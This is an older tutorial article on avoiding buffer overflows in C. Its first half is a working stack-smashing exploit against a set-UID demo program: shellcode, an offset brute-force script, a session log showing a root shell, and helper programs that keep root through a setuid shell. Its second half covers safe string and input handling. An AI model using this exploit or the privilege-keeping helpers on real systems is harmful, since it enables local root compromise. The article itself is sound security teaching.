| Avoiding security holes when developing an application - Part 3 : buffer overflows | ||||||||
|
|
AboutTheAuthor:Christophe Blaess is an independent aeronautics engineer. He is a Linux fan and does much of his work on this system. He coordinates the translation of the man pages as published by the Linux Documentation Project. Christophe Grenier is a 5th year student at the ESIEA, where he works as a sysadmin too. He has a passion for computer security. Frédéric Raynal has been using Linux for many years because it doesn't pollute, it doesn't use hormones, neither GMO nor animal fat-flour... only sweat and tricks. AbstractThis article ends with introducing buffer overflows. We'll show it's a security hole rather easy to exploit. Next, we'll explain how to avoid them.Note added the 16th October 2001Some examples provided in those articles may no more work :( This is because the newest Linux distributions are using shells like bash2 or tcsh which don't care about the bit 's'. Buffer overflowsIn our previous article we wrote a small program of about 50 bytes able to start a shell or able to exit in case of failure. Now we must insert this code into the application we want to attack. This is done overwriting the return address of a function to replace it with our shellcode address, that is forcing the overflow of an automatic variable allocated in the process stack. For example, in the following program, we copy the string given as
first argument in the command line to a 500 bytes buffer. This copy is
done without checking if it's beyond the buffer size. As we'll see it
later on, using the /* vulnerable.c */
#include <string.h>
int main(int argc, char * argv [])
{
char buffer [500];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
Position in memoryGetting the memory address of the shellcode is rather tricky. We must
discover the offset between the | |||||||
Diagram
2 describes the state of the stack before and after the overflow. It
causes all the saved information (saved %ebp, saved
%eip, arguments,...) to be replaced with the new expected
return address : the beginning of the exploited buffer containing the
eggshell.
![]() |
![]() |
|
|
|
However, there is another problem related to variable alignment within
the stack. An address being stored in various bytes, the alignment within
the stack doesn't always fit. This drawback is solved proceeding by trial
and error to find the right alignment. Since our CPU uses 4 bytes words,
the alignment is 0, 1, 2 or 3 bytes (check article 2
about stack organization). In diagram
3, the grayed parts correspond to the written 4 bytes. The first case
where the return address is overwritten is the only one to work. The
others lead to segmentation violation or illegal
instruction errors. This empirical way to search works fine since
todays computers power allows us to do this kind of testing.
We are going to write a small program launching a vulnerable application by sending it a buffer to overflow the stack. This program has various options to set the shellcode position in memory, to choose the program to run. This version, inspired by Aleph One article from phrack magazine issue 49, is available from Christophe Grenier website.
How to send our so prepared buffer to the aimed application ? Usually,
you can use a command line parameter like the one in
vulnerable.c or an environment variable. The overflow either
takes place from the lines typed by the user, what is harder to automate,
or from data read from a file.
The generic_exploit.c program starts allocating the right
size buffer, next it copies the shellcode there and fills it up with the
addresses and the NOP codes as explained above. It then prepares an
argument array and runs the target application using the
execve() instruction, this last replacing the current process
with the invoked one. The generic_exploit parameters are the
buffer size to exploit (a bit bigger than its size to be able to overwrite
the return address), the memory offset and the alignment. We indicate if
the buffer is passed either as an environment variable (var)
or from the command line (novar). The
force/noforce argument allows the call (or doesn't) to the
setuid()/setgid() function from the shellcode.
/* generic_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#define A_BSIZE 1
#define A_OFFSET 2
#define A_ALIGN 3
#define A_VAR 4
#define A_FORCE 5
#define A_PROG2RUN 6
#define A_TARGET 7
#define A_ARG 8
int main(int argc, char *argv[])
{
char *buff, *ptr;
char **args;
long addr;
int offset, bsize;
int i,j,n;
struct stat stat_struct;
int align;
if(argc < A_ARG)
{
printf("USAGE: %s bsize offset align (var / novar) "
"(force/noforce) prog2run target param\n", argv[0]);
return -1;
}
if(stat(argv[A_TARGET],&stat_struct))
{
printf("\nCannot stat %s\n", argv[A_TARGET]);
return 1;
}
bsize = atoi(argv[A_BSIZE]);
offset = atoi(argv[A_OFFSET]);
align = atoi(argv[A_ALIGN]);
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf("bsize %d, offset %d\n", bsize, offset);
printf("Using address: 0lx%lx\n", addr);
for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
if(strcmp(argv[A_FORCE],"force")==0)
{
if(S_ISUID&stat_struct.st_mode)
{
printf("uid %d\n", stat_struct.st_uid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_uid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_uid;
}
if(stat_struct.st_uid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_uid;
}
*(ptr++)= 0xb0; /* movb $0x17,%al */
*(ptr++)= 0x17;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
if(S_ISGID&stat_struct.st_mode)
{
printf("gid %d\n", stat_struct.st_gid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_gid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_gid;
}
if(stat_struct.st_gid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_gid;
}
*(ptr++)= 0xb0; /* movb $0x2e,%al */
*(ptr++)= 0x2e;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
}
/* Patch shellcode */
n=strlen(argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;
shellcode[10] = n;
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* Copy prog2run */
printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));
buff[bsize - 1] = '\0';
args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
j=0;
for(i = A_TARGET; i < argc; i++)
args[j++] = argv[i];
if(strcmp(argv[A_VAR],"novar")==0)
{
args[j++]=buff;
args[j++]=NULL;
return execve(args[0],args,NULL);
}
else
{
setenv(argv[A_VAR],buff,1);
args[j++]=NULL;
return execv(args[0],args);
}
}
To benefit from vulnerable.c, we must have a buffer bigger
than the one expected by the application. We select for instance 600 bytes
instead of the 500 expected. Finding the offset related to the top of the
stack is done by successive tests. The address built with the addr =
get_sp() + offset; instruction, used to overwrite the return
address, is obtained... with a bit of luck ! The operation relies on the
heurism that the %esp register won't move too much during the
current process and the one called at the end of the program. Practically,
nothing is certain : various events are able to modify the stack state
from the time the computation is done to the time the program to exploit
is called. Here, we succeeded in activating an exploitable overflow with a
-1900 bytes offset. Of course, to complete the experience, the
vulnerable target must be Set-UID root.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exitIn the first case (
noforce), our uid
doesn't change. Nevertheless we have a new euid providing us
with all the rights. Thus, even if while editing the
/etc/passwd file with vi, this last says the
file is read-only, all the changes will work : you just have to force the
writing with w! :) The force parameter allows
uid=euid=0 from start.
To automatically find offset values allowing an overflow, using a small shell script makes things even easier :
#! /bin/sh
# find_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET -lt $OFFSET_MAX ] ; do
echo "Offset = $OFFSET"
./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
OFFSET=$(($OFFSET + 4))
done
In our exploit we didn't take into account the potential alignment
problems. Then, it's possible that this example doesn't work for you with
the same values, or doesn't work at all because of the alignment. (For
those wanting to test anyway, the alignment parameter has to be changed to
1, 2 or 3 (here, 0). Some systems don't accept writing in memory areas not
being a whole word, but this is not true for Linux)
Unfortunately, sometimes the obtained shell is unusable since it ends on its own or when pressing a key. An indirect mean allows to keep these privileges so hardly acquired.
/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
int main()
{
chown ("/tmp/run_shell", geteuid(), getegid());
chmod ("/tmp/run_shell", 06755);
return 0;
}
Since our exploit is only able to do one task at a time, we are going
to transfer the rights gained from the run_shell program with
the help of the set_run_shell program. We'll then get the
desired shell.
/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
setuid(geteuid());
setgid(getegid());
execl("/tmp/shell","shell","-i",0);
exit (0);
}
The -i option corresponds to interactive.
Why not giving the rights directly to a shell ? Just because the
s bit is not available for every shell. The recent versions
check that uid is equal to euid, same for gid and egid. Thus
bash2 and tcsh incorporate this defense line,
but neither bash, nor ash have it. This method
must be refined when the partition on which run_shell is
located (here, /tmp) is mounted nosuid or
noexec.
Since we have a Set-UID program with a buffer overflow bug and its source code, we are able to prepare an attack allowing to execute any arbitrary code under the ID of the file owner. However, our goal is to avoid security holes. Then we are going to examine a few rules to prevent from buffer overflows.
The first rule to follow is just a matter of good sense : the indexes used to manipulate an array must always be checked carefully. A "clumsy" loop like :
for (i = 0; i <= n; i ++) {
table [i] = ...
probably holds an error because of the <= sign
instead of < since an access is done beyond the end of the
array. If it's easy to check with such a loop, it'll be more difficult
with a loop through decreasing indexes since you must ensure not going
under zero. Apart from the for(i=0; i<n ; i++) trivial
case, you must check various times (even ask someone else to check for
you) the algorithm used, especially when reaching the loop extremes.
The same type of problem is found with strings : you must always think of adding one more byte for the final null character. Forgetting it, is one of the newbie most frequent mistake; furthermore it's hard to diagnose since it can stay hided because of variables alignment.
Array indexes must not be underestimated as far as application security is concerned. We have seen (check Phrack issue 55) that only one byte overflow is enough to create a security hole, inserting the shellcode into an environment variable, for instance.
#define BUFFER_SIZE 128
void foo(void) {
char buffer[BUFFER_SIZE+1];
/* end of string */
buffer[BUFFER_SIZE] = '\0';
for (i = 0; i<BUFFER_SIZE; i++)
buffer[i] = ...
}
strcpy(3) function copies into a destination string the
original string content till this null byte included. In some cases, this
behavior becomes dangerous; we have seen the following code holds a
security hole : #define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT];
strcpy (identity, name);
...
}
To avoid this kind of problem, there are functions with limited
length. These functions have an `n' in the middle of their
name, for instance strncpy(3) as a replacement for
strcpy(3), strncat(3) for strcat(3)
or even strnlen(3) for strlen(3).
However, you must be careful with the strncpy(3)
limitation since it generates edge effects : when the source string is
shorter than the destination one, this last will be completed with null
characters till the n limit, what makes the application less
performing. In the other hand, if the source one is longer, it will be
truncated to complete the destination one, but this last will not end with
a null character. Accordingly, you must add it manually. Taking this into
account, the previous routine becomes :
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT+1];
strncpy (identity, name, LG_IDENT);
identity [LG_IDENT] = '\0';
...
}
Of course, the same principles apply to routines manipulating large
characters, preferring for instance wcsncpy(3) to
wcscpy(3) or wcsncat(3) to
wcscat(3). Sure, the program gets bigger but the security
improves too.
Like strcpy(), strcat(3) doesn't check
buffers size. The strncat(3) function adds characters at the
end of the string taking 'n' characters from the input buffer
(buffer2). Replacing strcat(buffer1, buffer2);
with strncat(buffer1, buffer2, sizeof(buffer1)-1-strnlen(buffer1,
sizeof(buffer1)-1)); is enough to eliminate the risk.
The sprintf() function allows to copy formatted data into
a string. It also has a version allowing to check the number of bytes to
copy : snprintf(). This function returns the number of
characters written into the destination string (without taking into
account the `\0'). Testing this return value allows to know if the writing
has been done properly :
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* Overflow */
...
}
Obviously, this is not worth it anymore as soon as the user gets the control on the number of bytes to copy. Such a hole in BIND (Berkeley Internet Name Daemon) made a lot of crackers busy :
struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ...This should always copy 4 bytes. Nevertheless, if you can change
hp->h_length, then you become able to modify the stack.
Accordingly, it's compulsory to check the data length before copying : struct hosten *hp;
unsigned long address;
...
/* test */
if (hp->h_length > sizeof(address))
return 0;
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
In some circumstances it's impossible to truncate that way (path,
hostname, URL...) and things have to be done earlier in the program as
soon as data is typed.
First of all, this concerns string typing routines. According to what
we just said, we won't insist on the fact you must never use
gets(char *chaine) since the string length is not checked
(authors note : this routine should be forbidden by the link editor for
new compiled programs). More insidious risks are hided in
scanf(). The line
scanf ("%s", string)
for instance is as dangerous as gets(char *chaine), but
it isn't so obvious. However functions from the scanf()
family offer a control mechanism of the data size : char buffer[256];
scanf("%255s", buffer);
This formatting limits to 255 the number of characters copied into
buffer. In the other hand, scanf() putting the
characters it doesn't like back into the incoming flow (for example a
character while it waits for a figure), the risks of programming errors
generating locks are rather high.
Using C++, thecin flow replaces the classical functions
used in C (even if you can still use them). The following program fills a
buffer :
char buffer[500]; cin>>buffer;As you can see, no test is done ! We are in a situation similar to
gets(char *chaine) while using C : a door is wide open. The
ios::width() member function allows to fix the maximal number
of characters to be read.
The reading of data requires two steps. A first phase consists in
getting the string with fgets(char *chaine, int taille, FILE
stream), what limits the size of the used memory area. Next, the
read data is formatted, through sscanf() for example. The
first phase can do more, such as inserting fgets(char *chaine, int
taille, FILE stream) into a loop automatically allocating the
required memory, without arbitrary limit. The Gnu extension
getline() can do that for you. It's also possible to include
typed characters validation using isalnum(),
isprint(), etc. The strspn() function allows
effective filtering. The program becomes a bit slower, but thus the code
sensitive parts are protected with a bulletproof jacket from incoming
litigious data.
Direct data typing is not the only attackable entry point. The software data files are vulnerable, but the code written to read them is usually stronger than the one for typing, programmers intuitively untrusting the files content provided by the user.
The buffer overflows attacks often lean on something else : environment
strings. We must not forget a programmer can fully configure a process
environment before launching it. The convention saying an environment
string must be of the "NAME=VALUE" type is useless in front
of an ill-intentioned user. Using the getenv() routine
requires some caution, especially when it's about return string length
(arbitrarily long) and its content (where you can find any character,
`=' included). The string returned by getenv()
will be treated like the one provided by fgets(char *chaine, int
taille, FILE stream), taking care of its length and validating it
one character after the other.
Using such filters is done like accessing a computer : default is to forbid everything ! Next, you can allow a few things :
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* Getting the data */
data = getenv(var);
/* Filtering
Rem : obviously the replacement character must be
in the list of the allowed ones !!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
The strspn() function makes it easy : it looks for the
first character not hold in the specific whole. It returns the string
length (starting from 0) only holding valid characters. You must never use
the strcspn opposite function instead , since the approach
then becomes specifying the forbidden characters and checking that none is
present in the typing.
Buffer overflow relies on the stack content overwriting as to change the return address of a function. The attack concerns automatic data, only allocated in the stack. A way to move the problem is to replace the characters tables allocated in the stack with dynamic variables found in the heap. To do this we replace the sequence
#define LG_STRING 128
int fonction (...)
{
char chaine [LG_STRING];
...
return (result);
}
with : #define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
These lines overload the code and generate risks of memory leak, but
we must take advantage of these changes to modify the approach, avoiding
to impose arbitrary length limits. Let's add you can't expect the same
result using a simpler way with the alloca() function. This
last allocates the data in the process stack, what leads to the same
problem as automatic variables. Initializing memory to zero using
memset() allows to avoid a few problems related to the use of
uninitialized variables. Again, this doesn't correct the problem, the
exploit just becomes less trivial. Those wanting to carry on with the
subject can read the article about Heap overflows from w00w00.
Last, let's say it's possible under some circumstances to get rid
quickly of a security hole adding the static keyword before
the buffer declaration. This one is then allocated in the data segment far
from the process stack. It becomes impossible to get a shell but the
problem of DoS is still present. Of course, this doesn't work if the
routine is called recursively. This "medicine" has to be considered as a
palliative, only used for eliminating a security hole in an emergency
without changing much of the code.